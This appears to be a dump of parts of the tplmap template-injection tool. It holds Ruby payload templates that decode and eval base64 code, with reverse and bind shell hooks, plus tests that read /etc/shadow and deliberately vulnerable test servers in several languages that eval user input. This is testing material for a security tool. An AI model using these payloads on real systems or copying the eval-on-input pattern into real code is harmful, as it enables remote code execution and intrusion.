56 | 'evaluate_blind' : { 57 | 'call': 'inject', 58 | 'evaluate_blind': """require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i)""" 59 | }, 60 | 'bind_shell' : { 61 | 'call' : 'execute_blind', 62 | 'bind_shell': bash.bind_shell 63 | }, 64 | 'reverse_shell' : { 65 | 'call': 'execute_blind', 66 | 'reverse_shell' : bash.reverse_shell 67 | }, 68 | 'execute_blind' : { 69 | 'call': 'inject', 70 | 'execute_blind': """require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'})""" 71 | }, 72 | }) 73 | 74 | self.set_contexts([ 75 | 76 | # Text context, no closures 77 | { 'level': 0 }, 78 | ]) 79 | 80 | language = 'ruby' 81 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | PyYAML==5.1.2 2 | certifi==2018.10.15 3 | chardet==3.0.4 4 | idna==2.8 5 | requests==2.22.0 6 | urllib3==1.24.1 7 | wsgiref==0.1.2 8 | -------------------------------------------------------------------------------- /tests/basetest.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | import sys 4 | import random 5 | 6 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 7 | from core.channel import Channel 8 | from core.checks import check_template_injection 9 | from core.checks import detect_template_injection 10 | from utils import rand 11 | from utils import strings 12 | import utils.loggers 13 | import logging 14 | 15 | utils.loggers.stream_handler.setLevel(logging.FATAL) 16 | 17 | # Test levels limits 18 | LEVEL_LIMIT = 0 19 | CLEVEL_LIMIT = 0 20 | 21 | # Extra tests 22 | EXTRA_UPLOAD = False 23 | EXTRA_DOWNLOAD = False 24 | EXTRA_UPLOAD_BLIND = False 25 | 26 | class BaseTest(object): 27 | 28 | def _get_detection_obj_data(self, url, level = 0, closure_level = 0, technique = 'RT'): 29 | 30 | channel = Channel({ 31 | 'url' : url, 32 | 'force_level': [ level, closure_level ], 33 | 'injection_tag': '*', 34 | 'technique': technique 35 | }) 36 | obj = detect_template_injection(channel, [ self.plugin ]) 37 | 38 | # Delete OS to make the tests portable 39 | if 'os' in channel.data: 40 | del channel.data['os'] 41 | 42 | return obj, channel.data 43 | 44 | 45 | def test_detection(self): 46 | 47 | channel = Channel({ 48 | 'url' : self.url, 49 | 'level': 5, 50 | 'injection_tag': '*', 51 | 'technique': 'RT' 52 | }) 53 | check_template_injection(channel) 54 | 55 | # Delete OS to make the tests portable 56 | if 'os' in channel.data: 57 | del channel.data['os'] 58 | 59 | # Delete any unreliable engine detected 60 | if 'unreliable' in channel.data: 61 | del channel.data['unreliable'] 62 | 63 | self.assertEqual( 64 | channel.data, 65 | self.expected_data, 66 | ) 67 | 68 | def test_reflection(self): 69 | 70 | for reflection_test in self.reflection_tests: 71 | 72 | level, clevel, template, channel_updates = reflection_test 73 | 74 | # Honour global level limit 75 | if level > LEVEL_LIMIT or clevel > CLEVEL_LIMIT: 76 | continue 77 | 78 | expected_data = self.expected_data.copy() 79 | expected_data.update(channel_updates) 80 | 81 | obj, data = self._get_detection_obj_data(self.url % template, level, clevel, technique = 'R') 82 | 83 | self.assertEqual( 84 | data, 85 | expected_data, 86 | msg = '\nreflection\ntemplate: %s\nlevels: %i %i\nreturned data: %s\nexpected data: %s' % (repr(template).strip("'"), level, clevel, str(data), str(expected_data)) 87 | ) 88 | 89 | def test_blind(self): 90 | 91 | for blind_test in self.blind_tests: 92 | 93 | level, clevel, template, channel_updates = blind_test 94 | 95 | # Honour global level limit 96 | if level > LEVEL_LIMIT or clevel > CLEVEL_LIMIT: 97 | continue 98 | 99 | expected_data = self.expected_data_blind.copy() 100 | expected_data.update(channel_updates) 101 | 102 | obj, data = self._get_detection_obj_data(self.url_blind % template, level, clevel, technique = 'T') 103 | 104 | self.assertEqual( 105 | data, 106 | expected_data, 107 | msg = '\nblind\ntemplate: %s\nlevels: %i %i\nreturned data: %s\nexpected data: %s' % (repr(template).strip("'"), level, clevel, str(data), str(expected_data)) 108 | ) 109 | 110 | def test_download(self): 111 | 112 | obj, data = self._get_detection_obj_data(self.url) 113 | self.assertEqual(data, self.expected_data) 114 | 115 | if not EXTRA_DOWNLOAD: 116 | return 117 | 118 | # Normal ASCII file 119 | readable_file = '/etc/resolv.conf' 120 | content = open(readable_file, 'r').read() 121 | self.assertEqual(content, obj.read(readable_file)) 122 | 123 | # Long binary file 124 | readable_file = '/bin/ls' 125 | content = open(readable_file, 'rb').read() 126 | self.assertEqual(content, obj.read(readable_file)) 127 | 128 | # Non existant file 129 | self.assertEqual(None, obj.read('/nonexistant')) 130 | # Unpermitted file 131 | self.assertEqual(None, obj.read('/etc/shadow')) 132 | # Empty file 133 | self.assertEqual('', obj.read('/dev/null')) 134 | 135 | def test_upload(self): 136 | 137 | obj, data = self._get_detection_obj_data(self.url) 138 | self.assertEqual(data, self.expected_data) 139 | 140 | if not EXTRA_UPLOAD: 141 | return 142 | 143 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) 144 | # Send long binary 145 | data = open('/bin/ls', 'rb').read() 146 | obj.write(data, remote_temp_path) 147 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) 148 | obj.execute('rm %s' % (remote_temp_path)) 149 | 150 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) 151 | # Send short ASCII data, without removing it 152 | data = 'SHORT ASCII DATA' 153 | obj.write(data, remote_temp_path) 154 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) 155 | 156 | # Try to append data without --force-overwrite and re-check the previous md5 157 | obj.write('APPENDED DATA', remote_temp_path) 158 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) 159 | 160 | # Now set --force-overwrite and rewrite new data on the same file 161 | obj.channel.args['force_overwrite'] = True 162 | data = 'NEW DATA' 163 | obj.write(data, remote_temp_path) 164 | self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) 165 | obj.execute('rm %s' % (remote_temp_path)) 166 | 167 | def test_upload_blind(self): 168 | 169 | obj, data = self._get_detection_obj_data( 170 | self.url_blind, 171 | technique = 'T' 172 | ) 173 | self.assertEqual(data, self.expected_data_blind) 174 | 175 | if not EXTRA_UPLOAD_BLIND: 176 | return 177 | 178 | # Send file without --force-overwrite, should fail 179 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) 180 | obj.write('AAAA', remote_temp_path) 181 | self.assertFalse(os.path.exists(remote_temp_path)) 182 | 183 | # Now set --force-overwrite and retry 184 | obj.channel.args['force_overwrite'] = True 185 | 186 | # Send long binary 187 | data = open('/bin/ls', 'rb').read() 188 | obj.write(data, remote_temp_path) 189 | 190 | # Since it's blind, read md5 from disk 191 | checkdata = open(remote_temp_path, 'rb').read() 192 | self.assertEqual(strings.md5(checkdata), strings.md5(data)) 193 | os.unlink(remote_temp_path) 194 | 195 | remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) 196 | # Send short ASCII data 197 | data = 'SHORT ASCII DATA' 198 | obj.write(data, remote_temp_path) 199 | 200 | checkdata = open(remote_temp_path, 'rb').read() 201 | self.assertEqual(strings.md5(checkdata), strings.md5(data)) 202 | os.unlink(remote_temp_path) -------------------------------------------------------------------------------- /tests/env_java_tests/spark-app/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id "java" 3 | id "application" 4 | id "com.github.johnrengelman.shadow" version "1.2.3" 5 | } 6 | 7 | group 'org.tplmap.webframeworks' 8 | version '1.0-SNAPSHOT' 9 | 10 | 11 | sourceCompatibility = 1.8 12 | mainClassName = 'org.tplmap.webframeworks.SparkApplication' 13 | 14 | 15 | repositories { 16 | jcenter() 17 | mavenCentral() 18 | } 19 | 20 | dependencies { 21 | compile 'com.sparkjava:spark-core:2.3' 22 | compile group: 'org.freemarker', name: 'freemarker', version: '2.3.14' 23 | compile group: 'org.apache.velocity', name: 'velocity', version: '1.6.2' 24 | testCompile group: 'junit', name: 'junit', version: '4.11' 25 | } 26 | -------------------------------------------------------------------------------- /tests/env_java_tests/spark-app/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Wed Feb 17 14:28:33 EET 2016 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.5-all.zip 7 | -------------------------------------------------------------------------------- /tests/env_java_tests/spark-app/settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'spark-app' 2 | 3 | -------------------------------------------------------------------------------- /tests/env_java_tests/spark-app/src/main/java/org/tplmap/webframeworks/SparkApplication.java: -------------------------------------------------------------------------------- 1 | package org.tplmap.webframeworks; 2 | import spark.Request; 3 | import spark.Response; 4 | import spark.Route; 5 | import freemarker.template.Configuration; 6 | import freemarker.template.Template; 7 | import freemarker.template.TemplateException; 8 | import java.io.StringReader; 9 | import java.io.IOException; 10 | import java.io.StringWriter; 11 | import java.util.HashMap; 12 | import org.apache.velocity.VelocityContext ; 13 | import org.apache.velocity.app.VelocityEngine ; 14 | import org.apache.velocity.exception.MethodInvocationException ; 15 | import org.apache.velocity.exception.ParseErrorException ; 16 | import org.apache.velocity.exception.ResourceNotFoundException ; 17 | import org.apache.velocity.runtime.RuntimeConstants ; 18 | import org.apache.velocity.runtime.log.LogChute ; 19 | import org.apache.velocity.runtime.log.NullLogChute ; 20 | import java.util.UUID; 21 | 22 | import static spark.Spark.*; 23 | 24 | public class SparkApplication { 25 | 26 | public static void main(String[] args) { 27 | port(15003); 28 | get("/freemarker", SparkApplication::freemarker); 29 | get("/velocity", SparkApplication::velocity); 30 | } 31 | 32 | public static Object velocity(Request request, Response response) { 33 | 34 | 35 | // Get inj parameter, exit if none 36 | String inj = request.queryParams("inj"); 37 | if(inj == null) { 38 | return ""; 39 | } 40 | 41 | // Get tpl parameter 42 | String tpl = request.queryParams("tpl"); 43 | 44 | // If tpl exists 45 | if(tpl != null && !tpl.isEmpty()) { 46 | // Keep the formatting a-la-python 47 | tpl = tpl.replace("%s", inj); 48 | } 49 | else { 50 | tpl = inj; 51 | } 52 | 53 | String blind = request.queryParams("blind"); 54 | 55 | LogChute velocityLogChute = new NullLogChute() ; 56 | VelocityEngine velocity; 57 | StringWriter w; 58 | try{ 59 | velocity = new VelocityEngine() ; 60 | // Turn off logging - catch exceptions and log ourselves 61 | velocity.setProperty(RuntimeConstants.RUNTIME_LOG_LOGSYSTEM, velocityLogChute) ; 62 | velocity.setProperty(RuntimeConstants.INPUT_ENCODING, "UTF-8") ; 63 | velocity.init() ; 64 | 65 | VelocityContext context = new VelocityContext(); 66 | w = new StringWriter(); 67 | 68 | velocity.evaluate( context, w, "mystring", tpl ); 69 | 70 | 71 | }catch(Exception e){ 72 | e.printStackTrace(); 73 | return ""; 74 | } 75 | 76 | // Return out string if not blind 77 | if(blind == null){ 78 | return UUID.randomUUID().toString() + w.toString() + UUID.randomUUID().toString(); 79 | } 80 | else { 81 | return UUID.randomUUID().toString(); 82 | } 83 | } 84 | 85 | public static Object freemarker(Request request, Response response) { 86 | 87 | // Get inj parameter, exit if none 88 | String inj = request.queryParams("inj"); 89 | if(inj == null) { 90 | return ""; 91 | } 92 | 93 | // Get tpl parameter 94 | String tpl = request.queryParams("tpl"); 95 | 96 | // If tpl exists 97 | if(tpl != null && !tpl.isEmpty()) { 98 | // Keep the formatting a-la-python 99 | tpl = tpl.replace("%s", inj); 100 | } 101 | else { 102 | tpl = inj; 103 | } 104 | 105 | // Get blind parameter 106 | String blind = request.queryParams("blind"); 107 | 108 | // Generate template from "inj" 109 | Template template; 110 | try{ 111 | template = new Template("name", new StringReader(tpl), new Configuration()); 112 | }catch(IOException e){ 113 | e.printStackTrace(); 114 | return ""; 115 | } 116 | 117 | // Write processed template to out 118 | HashMap data = new HashMap(); 119 | StringWriter out = new StringWriter(); 120 | try{ 121 | template.process(data, out); 122 | }catch(TemplateException | IOException e){ 123 | e.printStackTrace(); 124 | return ""; 125 | } 126 | 127 | // Return out string if not blind 128 | if(blind == null){ 129 | return UUID.randomUUID().toString() + out.toString() + UUID.randomUUID().toString(); 130 | } 131 | else { 132 | return UUID.randomUUID().toString(); 133 | } 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /tests/env_java_tests/spark-app/src/main/resources/templates/hello.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Hello world 6 | 7 | 8 |

Hello, [[${name}]]!

9 | 10 | -------------------------------------------------------------------------------- /tests/env_node_tests/connect-app.js: -------------------------------------------------------------------------------- 1 | var connect = require('connect'); 2 | var http = require('http'); 3 | var url = require('url'); 4 | var pug = require('pug'); 5 | var nunjucks = require('nunjucks'); 6 | var dust = require('dustjs-linkedin'); 7 | var dusthelpers = require('dustjs-helpers'); 8 | var randomstring = require("randomstring"); 9 | var doT=require('dot'); 10 | var marko=require('marko'); 11 | var ejs=require('ejs'); 12 | 13 | var app = connect(); 14 | 15 | // Pug 16 | app.use('/pug', function(req, res){ 17 | if(req.url) { 18 | var url_parts = url.parse(req.url, true); 19 | 20 | var inj = url_parts.query.inj; 21 | var tpl = ''; 22 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 23 | // Keep the formatting a-la-python 24 | tpl = url_parts.query.tpl.replace('%s', inj); 25 | } 26 | else { 27 | tpl = inj; 28 | } 29 | res.end(randomstring.generate() + pug.render(tpl) + randomstring.generate()); 30 | } 31 | }); 32 | 33 | // Pug blind endpoint 34 | app.use('/blind/pug', function(req, res){ 35 | if(req.url) { 36 | var url_parts = url.parse(req.url, true); 37 | 38 | var inj = url_parts.query.inj; 39 | var tpl = ''; 40 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 41 | // Keep the formatting a-la-python 42 | tpl = url_parts.query.tpl.replace('%s', inj); 43 | } 44 | else { 45 | tpl = inj; 46 | } 47 | console.log('PAYLOAD: ' + tpl); 48 | pug.render(tpl) 49 | res.end(randomstring.generate()); 50 | } 51 | }); 52 | 53 | // Nunjucks 54 | app.use('/nunjucks', function(req, res){ 55 | if(req.url) { 56 | var url_parts = url.parse(req.url, true); 57 | 58 | var inj = url_parts.query.inj; 59 | var tpl = ''; 60 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 61 | // Keep the formatting a-la-python 62 | tpl = url_parts.query.tpl.replace('%s', inj); 63 | } 64 | else { 65 | tpl = inj; 66 | } 67 | res.end(randomstring.generate() + nunjucks.renderString(tpl) + randomstring.generate()); 68 | } 69 | }); 70 | 71 | // Nunjucks blind endpoint 72 | app.use('/blind/nunjucks', function(req, res){ 73 | if(req.url) { 74 | var url_parts = url.parse(req.url, true); 75 | 76 | var inj = url_parts.query.inj; 77 | var tpl = ''; 78 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 79 | // Keep the formatting a-la-python 80 | tpl = url_parts.query.tpl.replace('%s', inj); 81 | } 82 | else { 83 | tpl = inj; 84 | } 85 | nunjucks.renderString(tpl); 86 | res.end(randomstring.generate()); 87 | } 88 | }); 89 | 90 | // Javascript 91 | app.use('/javascript', function(req, res){ 92 | if(req.url) { 93 | var url_parts = url.parse(req.url, true); 94 | 95 | var inj = url_parts.query.inj; 96 | var tpl = ''; 97 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 98 | // Keep the formatting a-la-python 99 | tpl = url_parts.query.tpl.replace('%s', inj); 100 | } 101 | else { 102 | tpl = inj; 103 | } 104 | res.end(randomstring.generate() + String(eval(tpl)) + randomstring.generate()); 105 | } 106 | }); 107 | 108 | // Javascript blind endpoint 109 | app.use('/blind/javascript', function(req, res){ 110 | if(req.url) { 111 | var url_parts = url.parse(req.url, true); 112 | 113 | var inj = url_parts.query.inj; 114 | var tpl = ''; 115 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 116 | // Keep the formatting a-la-python 117 | tpl = url_parts.query.tpl.replace('%s', inj); 118 | } 119 | else { 120 | tpl = inj; 121 | } 122 | eval(tpl); 123 | res.end(randomstring.generate()); 124 | } 125 | }); 126 | 127 | // Dust 128 | app.use('/dust', function(req, res){ 129 | if(req.url) { 130 | var url_parts = url.parse(req.url, true); 131 | 132 | var inj = url_parts.query.inj; 133 | var tpl = ''; 134 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 135 | // Keep the formatting a-la-python 136 | tpl = url_parts.query.tpl.replace('%s', inj); 137 | } 138 | else { 139 | tpl = inj; 140 | } 141 | 142 | console.log('PAYLOAD: ' + tpl); 143 | dust.debugLevel = "DEBUG" 144 | output = ''; 145 | var compiled = dust.compile(tpl, "compiled"); 146 | dust.loadSource(compiled); 147 | dust.render("compiled", {}, function(err, outp) { output = outp }) 148 | res.end(randomstring.generate() + output + randomstring.generate()); 149 | } 150 | }); 151 | 152 | // Dust blind endpoint 153 | app.use('/blind/dust', function(req, res){ 154 | if(req.url) { 155 | var url_parts = url.parse(req.url, true); 156 | 157 | var inj = url_parts.query.inj; 158 | var tpl = ''; 159 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 160 | // Keep the formatting a-la-python 161 | tpl = url_parts.query.tpl.replace('%s', inj); 162 | } 163 | else { 164 | tpl = inj; 165 | } 166 | 167 | console.log('PAYLOAD: ' + tpl); 168 | dust.debugLevel = "DEBUG" 169 | var compiled = dust.compile(tpl, "compiled"); 170 | dust.loadSource(compiled); 171 | dust.render("compiled", {}, function(err, outp) { }) 172 | 173 | res.end(randomstring.generate()); 174 | } 175 | }); 176 | 177 | // doT 178 | app.use('/dot', function(req, res){ 179 | if(req.url) { 180 | var url_parts = url.parse(req.url, true); 181 | 182 | var inj = url_parts.query.inj; 183 | var tpl = ''; 184 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 185 | // Keep the formatting a-la-python 186 | tpl = url_parts.query.tpl.replace('%s', inj); 187 | } 188 | else { 189 | tpl = inj; 190 | } 191 | res.end(randomstring.generate() + doT.template(tpl)({}) + randomstring.generate()); 192 | } 193 | }); 194 | 195 | // doT blind endpoint 196 | app.use('/blind/dot', function(req, res){ 197 | if(req.url) { 198 | var url_parts = url.parse(req.url, true); 199 | 200 | var inj = url_parts.query.inj; 201 | var tpl = ''; 202 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 203 | // Keep the formatting a-la-python 204 | tpl = url_parts.query.tpl.replace('%s', inj); 205 | } 206 | else { 207 | tpl = inj; 208 | } 209 | doT.template(tpl)({}); 210 | res.end(randomstring.generate()); 211 | } 212 | }); 213 | 214 | // Marko 215 | app.use('/marko', function(req, res){ 216 | if(req.url) { 217 | var url_parts = url.parse(req.url, true); 218 | 219 | var inj = url_parts.query.inj; 220 | var tpl = ''; 221 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 222 | // Keep the formatting a-la-python 223 | tpl = url_parts.query.tpl.replace('%s', inj); 224 | } 225 | else { 226 | tpl = inj; 227 | } 228 | res.end(randomstring.generate() + marko.load(randomstring.generate(), tpl).renderSync() + randomstring.generate()); 229 | } 230 | }); 231 | 232 | // Marko blind endpoint 233 | app.use('/blind/marko', function(req, res){ 234 | if(req.url) { 235 | var url_parts = url.parse(req.url, true); 236 | 237 | var inj = url_parts.query.inj; 238 | var tpl = ''; 239 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 240 | // Keep the formatting a-la-python 241 | tpl = url_parts.query.tpl.replace('%s', inj); 242 | } 243 | else { 244 | tpl = inj; 245 | } 246 | marko.load(randomstring.generate(), tpl).renderSync() 247 | res.end(randomstring.generate()); 248 | } 249 | }); 250 | 251 | // EJS 252 | app.use('/ejs', function(req, res){ 253 | if(req.url) { 254 | var url_parts = url.parse(req.url, true); 255 | 256 | var inj = url_parts.query.inj; 257 | var tpl = ''; 258 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 259 | // Keep the formatting a-la-python 260 | tpl = url_parts.query.tpl.replace('%s', inj); 261 | } 262 | else { 263 | tpl = inj; 264 | } 265 | res.end(randomstring.generate() + ejs.render(tpl) + randomstring.generate()); 266 | } 267 | }); 268 | 269 | // EJS blind endpoint 270 | app.use('/blind/ejs', function(req, res){ 271 | if(req.url) { 272 | var url_parts = url.parse(req.url, true); 273 | 274 | var inj = url_parts.query.inj; 275 | var tpl = ''; 276 | if('tpl' in url_parts.query && url_parts.query.tpl != '') { 277 | // Keep the formatting a-la-python 278 | tpl = url_parts.query.tpl.replace('%s', inj); 279 | } 280 | else { 281 | tpl = inj; 282 | } 283 | ejs.render(tpl); 284 | res.end(randomstring.generate()); 285 | } 286 | }); 287 | 288 | //create node.js http server and listen on port 289 | http.createServer(app).listen(15004); 290 | -------------------------------------------------------------------------------- /tests/env_php_tests/eval.php: -------------------------------------------------------------------------------- 1 | : ' . $rendered); 21 | echo generateRandomString(); 22 | } 23 | else { 24 | error_log('DEBUG< : ' . $tpl); 25 | ob_start(); 26 | $rendered = eval($tpl); 27 | ob_end_clean(); 28 | error_log('DEBUG> : ' . $rendered); 29 | echo generateRandomString(); 30 | } 31 | ?> 32 | -------------------------------------------------------------------------------- /tests/env_php_tests/smarty-3.1.32-secured.php: -------------------------------------------------------------------------------- 1 | clearAllCache(); 12 | 13 | $inj=$_GET["inj"]; 14 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") { 15 | // Keep the formatting a-la-python 16 | $tpl=str_replace("%s", $inj, $_GET["tpl"]); 17 | } 18 | else { 19 | $tpl=$inj; 20 | } 21 | 22 | error_log('DEBUG< : ' . $tpl); 23 | $rendered = $smarty->fetch('string:'.$tpl); 24 | error_log('DEBUG> : ' . $rendered); 25 | 26 | if(!$_GET["blind"]) { 27 | echo generateRandomString() . $rendered . generateRandomString(); 28 | } 29 | else { 30 | echo generateRandomString(); 31 | } 32 | ?> 33 | -------------------------------------------------------------------------------- /tests/env_php_tests/smarty-3.1.32-unsecured.php: -------------------------------------------------------------------------------- 1 | clearAllCache(); 12 | 13 | // Run render via CLI 14 | if (php_sapi_name() == "cli") { 15 | $_GET["inj"] = ''; 16 | $_GET["tpl"] = ''; 17 | } 18 | 19 | $inj=$_GET["inj"]; 20 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") { 21 | // Keep the formatting a-la-python 22 | $tpl=str_replace("%s", $inj, $_GET["tpl"]); 23 | } 24 | else { 25 | $tpl=$inj; 26 | } 27 | 28 | error_log('DEBUG< : ' . $tpl); 29 | $rendered = $smarty->fetch('string:'.$tpl); 30 | error_log('DEBUG> : ' . $rendered); 31 | 32 | if(!$_GET["blind"]) { 33 | echo generateRandomString() . $rendered . generateRandomString(); 34 | } 35 | else { 36 | echo generateRandomString(); 37 | } 38 | ?> 39 | -------------------------------------------------------------------------------- /tests/env_php_tests/twig-1.19.0-unsecured.php: -------------------------------------------------------------------------------- 1 | $tpl, 27 | )); 28 | $twig = new Twig_Environment($loader); 29 | 30 | error_log('DEBUG<: ' . $tpl); 31 | $rendered = $twig->render('tpl'); 32 | error_log('DEBUG> : ' . $rendered); 33 | 34 | if(!$_GET["blind"]) { 35 | echo generateRandomString() . $rendered . generateRandomString(); 36 | } 37 | else { 38 | echo generateRandomString(); 39 | } 40 | ?> 41 | -------------------------------------------------------------------------------- /tests/env_php_tests/twig-1.20.0-secured.php: -------------------------------------------------------------------------------- 1 | $tpl, 27 | )); 28 | $twig = new Twig_Environment($loader); 29 | 30 | error_log('DEBUG<: ' . $tpl); 31 | $rendered = $twig->render('tpl'); 32 | error_log('DEBUG> : ' . $rendered); 33 | 34 | if(!$_GET["blind"]) { 35 | echo generateRandomString() . $rendered . generateRandomString(); 36 | } 37 | else { 38 | echo generateRandomString(); 39 | } 40 | ?> 41 | -------------------------------------------------------------------------------- /tests/env_py_tests/webserver.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | app = Flask(__name__) 3 | from mako.template import Template as MakoTemplates 4 | from mako.lookup import TemplateLookup 5 | from jinja2 import Environment as Jinja2Environment 6 | import tornado.template 7 | import random 8 | import time 9 | 10 | try: 11 | from string import lowercase as ascii_lowercase 12 | except ImportError: 13 | from string import ascii_lowercase 14 | 15 | mylookup = TemplateLookup(directories=['/tpl']) 16 | 17 | Jinja2Env = Jinja2Environment(line_statement_prefix='#') 18 | 19 | def shutdown_server(): 20 | func = request.environ.get('werkzeug.server.shutdown') 21 | if func is None: 22 | raise RuntimeError('Not running with the Werkzeug Server') 23 | func() 24 | 25 | def randomword(length = 8): 26 | return ''.join(random.choice(ascii_lowercase) for i in range(length)) 27 | 28 | @app.route("/reflect/") 29 | def reflect(engine): 30 | 31 | template = request.values.get('tpl') 32 | if not template: 33 | template = '%s' 34 | 35 | injection = request.values.get('inj') 36 | 37 | if engine == 'mako': 38 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 39 | elif engine == 'jinja2': 40 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 41 | elif engine == 'eval': 42 | return randomword() + str(eval(template % injection)) + randomword() 43 | elif engine == 'tornado': 44 | return randomword() + tornado.template.Template(template % injection).generate().decode() + randomword() 45 | 46 | @app.route("/url//") 47 | def url_reflect(engine, injection): 48 | 49 | template = request.values.get('tpl') 50 | if not template: 51 | template = '%s' 52 | 53 | if engine == 'mako': 54 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 55 | elif engine == 'jinja2': 56 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 57 | elif engine == 'eval': 58 | return randomword() + str(eval(template % injection)) + randomword() 59 | elif engine == 'tornado': 60 | return randomword() + tornado.template.Template(template % injection).generate().decode() + randomword() 61 | 62 | 63 | @app.route("/post/", methods = [ "POST" ]) 64 | def postfunc(engine): 65 | 66 | template = request.values.get('tpl') 67 | if not template: 68 | template = '%s' 69 | 70 | injection = request.values.get('inj') 71 | 72 | if engine == 'mako': 73 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 74 | elif engine == 'jinja2': 75 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 76 | 77 | 78 | @app.route("/header/") 79 | def headerfunc(engine): 80 | 81 | template = request.headers.get('tpl') 82 | if not template: 83 | template = '%s' 84 | 85 | injection = request.headers.get('User-Agent') 86 | 87 | if engine == 'mako': 88 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 89 | elif engine == 'jinja2': 90 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 91 | 92 | @app.route("/put/", methods = [ "PUT" ]) 93 | def putfunc(engine): 94 | 95 | template = request.values.get('tpl') 96 | if not template: 97 | template = '%s' 98 | 99 | injection = request.values.get('inj') 100 | if engine == 'mako': 101 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 102 | elif engine == 'jinja2': 103 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 104 | 105 | @app.route("/limit/") 106 | def limited(engine): 107 | template = request.values.get('tpl') 108 | if not template: 109 | template = '%s' 110 | 111 | length = int(request.values.get('limit')) 112 | 113 | injection = request.values.get('inj', '') 114 | if len(injection) > length: 115 | return 'Inj too long' 116 | 117 | if engine == 'mako': 118 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 119 | elif engine == 'jinja2': 120 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 121 | 122 | @app.route("/startswith/") 123 | def startswithtest(engine): 124 | template = request.values.get('tpl') 125 | if not template: 126 | template = '%s' 127 | 128 | str_startswith = request.values.get('startswith') 129 | 130 | injection = request.values.get('inj', '') 131 | if not injection.startswith(str_startswith): 132 | return 'Missing startswith' 133 | 134 | if engine == 'mako': 135 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 136 | elif engine == 'jinja2': 137 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 138 | 139 | 140 | @app.route("/blind/") 141 | def blind(engine): 142 | 143 | template = request.values.get('tpl') 144 | if not template: 145 | template = '%s' 146 | 147 | injection = request.values.get('inj') 148 | 149 | if engine == 'mako': 150 | MakoTemplates(template % injection, lookup=mylookup).render() 151 | elif engine == 'jinja2': 152 | Jinja2Env.from_string(template % injection).render() 153 | elif engine == 'eval': 154 | eval(template % injection) 155 | elif engine == 'tornado': 156 | tornado.template.Template(template % injection).generate() 157 | 158 | return randomword() 159 | 160 | @app.route("/reflect_cookieauth/") 161 | def reflect_cookieauth(engine): 162 | 163 | if not request.cookies.get('SID') == 'SECRET': 164 | return randomword() 165 | 166 | template = request.values.get('tpl') 167 | if not template: 168 | template = '%s' 169 | 170 | injection = request.values.get('inj') 171 | 172 | if engine == 'mako': 173 | return randomword() + MakoTemplates(template % injection, lookup=mylookup).render() + randomword() 174 | elif engine == 'jinja2': 175 | return randomword() + Jinja2Env.from_string(template % injection).render() + randomword() 176 | elif engine == 'eval': 177 | return randomword() + str(eval(template % injection)) + randomword() 178 | elif engine == 'tornado': 179 | return randomword() + tornado.template.Template(template % injection).generate() + randomword() 180 | 181 | @app.route("/delay/") 182 | def delay(seconds = 1): 183 | 184 | time.sleep(seconds) 185 | 186 | return randomword() 187 | 188 | @app.route('/shutdown') 189 | def shutdown(): 190 | shutdown_server() 191 | return 'Server shutting down...' 192 | 193 | if __name__ == "__main__": 194 | app.run(host='127.0.0.1', port=15001, debug=False) 195 | -------------------------------------------------------------------------------- /tests/env_ruby_tests/config.ru: -------------------------------------------------------------------------------- 1 | require "./webserver" 2 | 3 | run Cuba -------------------------------------------------------------------------------- /tests/env_ruby_tests/webserver.rb: -------------------------------------------------------------------------------- 1 | require "cuba" 2 | require "cuba/safe" 3 | 4 | require 'tilt' 5 | require 'slim' 6 | require 'erb' 7 | 8 | Cuba.plugin Cuba::Safe 9 | 10 | Cuba.define do 11 | on get do 12 | on "reflect/:engine" do 